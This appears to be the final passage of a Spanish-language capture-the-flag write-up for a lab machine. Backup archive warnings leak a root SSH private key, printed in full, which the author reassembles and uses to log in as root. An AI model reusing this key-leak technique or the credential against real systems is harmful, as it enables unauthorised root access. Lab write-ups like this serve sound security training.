p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz (50657),ASM,AES-NI)

Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830415

Scanning the drive:

WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17948 files, 113879509 bytes (109 MiB)

Updating archive: /var/backups/project.zip

Items to compress: 20932


Files read from disk: 17948
Archive size: 54830556 bytes (53 MiB)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

donde puedo ver la SSH key, pero dividida en partes.

“Reconstruyo” la key y la guardo en mi máquina de atacante:

❯ cat id_rsa_root

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----

Me conecto a la máquina víctima como el usuario root via SSH:

❯ chmod 600 id_rsa_root

❯ ssh -i id_rsa_root root@10.10.11.18

<SNIP>
root@usage:~# whoami

root

y, finalmente, podemos leer la flag del usuario root en el directorio /root.

~ Happy Hacking